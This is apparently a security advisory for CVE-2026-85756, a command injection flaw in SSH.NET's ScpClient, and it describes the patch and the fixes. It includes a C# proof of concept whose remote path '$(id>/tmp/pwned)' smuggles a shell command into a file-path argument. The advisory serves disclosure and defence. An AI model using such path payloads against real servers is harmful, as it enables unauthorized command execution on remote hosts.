CVE-2026-85756: SSH.NET ScpClient OS Command Injection via Unquoted Remote Path
SSH.NET's ScpClient passes caller-supplied file paths directly into a shell command on the remote server, and its default path escaping leaves dollar-sign subshell syntax intact, letting an attacker…
The problem
ScpClient builds a remote scp command by embedding the caller-supplied path after applying RemotePathTransformation. The default transformation, DoubleQuote, wraps the path in double quotes and escapes embedded double-quote characters, but does not neutralise shell metacharacters such as $(...) or backtick sequences.
On any POSIX shell-based SCP server, those sequences are evaluated before scp sees them. An application that forwards attacker-controlled input as a remote path is therefore vulnerable to OS command injection, executed as the authenticated SSH user.
Proof of concept
A working proof-of-concept for CVE-2026-85756 in SSH.NET, with the exact payload below.
// Attacker controls the remotePath argument passed to ScpClient
string remotePath = "$(id>/tmp/pwned)";
// DoubleQuote wraps it in double-quotes but does NOT strip $() or backticks.
// ScpClient sends the server a command like:
// scp -f "$(id>/tmp/pwned)"
// A POSIX shell expands $(...) inside double-quotes, running the injected command.
using var client = new ScpClient(host, user, password); // old constructor: silently defaults to DoubleQuote
client.Connect();
using var ms = new MemoryStream();
client.Download(remotePath, ms); // triggers the injection on the remote serverDoubleQuote (the pre-2026.0.0 default) only escapes the literal double-quote character with a backslash. On a POSIX shell, $(...) and backtick command substitutions expand even inside a double-quoted string, so they survive the transformation untouched.
The patch (commit c66b9f8) removes the constructors that silently wired in DoubleQuote and replaces them with constructors that require the caller to pass an explicit IRemotePathTransformation. This forces a deliberate choice, eliminating the silent unsafe default.
The correct transformation for POSIX servers is ShellQuote, which wraps the path in single quotes and handles embedded single-quote characters properly, preventing all $() and backtick expansion. CWE-78: Improper Neutralisation of Special Elements used in an OS Command.
The fix
Upgrade SSH.NET to 2026.0.0. The patched release deprecates the old ScpClient constructors and requires callers to supply an explicit IRemotePathTransformation. For POSIX shell servers use RemotePathTransformation.ShellQuote. Prefer SftpClient over ScpClient wherever possible, as SFTP does not involve a remote shell at all.
Reported by Rob-Hague.
Related research
- high · 7.1CVE-2026-48798CVE-2026-48798: SSH.NET ScpClient Recursive Download Path Traversal
- highCVE-2026-69197CVE-2026-69197: Umbraco.Cms Delivery API Protected Content Disclosure via Property Expansion
- critical · 9.1CVE-2026-75513CVE-2026-75513: Marten LINQ Provider SQL Injection via Unescaped Dictionary Key
- high · 8.8CVE-2026-69439: Microsoft.DiaSymReader.Native Heap-Based Buffer Overflow (EoP)